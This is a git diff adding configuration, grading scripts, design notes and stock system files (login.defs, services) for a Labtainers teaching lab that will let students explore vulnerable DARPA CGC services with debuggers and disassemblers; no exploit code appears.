+\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under sponsorship from + the DoD CySP program. This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/notes.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/notes.txt new file mode 100644 index 000000000..da3a9397b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/notes.txt @@ -0,0 +1,24 @@ +A large set of CGC services are included in the lab as xinetd services executing +on a server. A client has network access to those services. +Some services will include their patched versions. Some will have working PoVs. Some will have +both. Some will include source. Some polls. + +Service polls pov patched source +======= ===== === ======= ====== +Palindorme X X X X +ooo + + +Ida and Ghidra will live on the server, as will Wireshark and gdb. +Clients will have tool for sending polls. +And will have sample PoVs (how to throw? simple python wrapper?) +Type I PoVs, see crash in server syslog. +Type II, see disclosure of "secret" page from client script. + +Not a competition. Focus is ability to explore, experiment and build skills. +The CGC focus was automation of vulnerability discovery and mitigation. This lab is not +about any of that. Rather, the vulnerable CGC services are presented as a set of examples +that you can explore and experiment with. Only supported debugger is +gdb. + +Given patched but no source, can you create a PoV? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/read_first.txt new file mode 100644 index 000000000..a0d418f7d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/docs/read_first.txt @@ -0,0 +1,6 @@ +buf64 lab-- Read this first + +The lab manual for this lab is at: +file://LAB_DOCS/cgc.pdf +Right click on the above link to open the lab manual. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/.ghidra/.ghidra_9.1.1_PUBLIC/preferences b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/.ghidra/.ghidra_9.1.1_PUBLIC/preferences new file mode 100644 index 000000000..94cda0ba9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/.ghidra/.ghidra_9.1.1_PUBLIC/preferences @@ -0,0 +1 @@ +ProjectDirectory=/home/cgc/mystuff/ghidra diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_bin/fixlocal.sh new file mode 100755 index 000000000..5b15b4d91 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_bin/fixlocal.sh @@ -0,0 +1,25 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + +if [[ -f $HOME/idafree-7.0/ida64 ]]; then + rm $HOME/idafree70_linux.run +else + chmod a+x $HOME/idafree70_linux.run +fi +mkdir -p ~/mystuff/ghidra +mkdir -p ~/mystuff/ida diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/gdb/gdbinit b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/gdb/gdbinit new file mode 100644 index 000000000..3be59e20e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/gdb/gdbinit @@ -0,0 +1 @@ +set substitute-path /home/mike/cb-mutios/cb-multios/challenges /home/cgc/challenges diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/services b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/services new file mode 100644 index 000000000..ce9b6212b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/cgc/server/_system/etc/services @@ -0,0 +1,833 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh 22/tcp # SSH Remote Login Protocol +ssh 22/udp +telnet 23/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS +microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp +groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 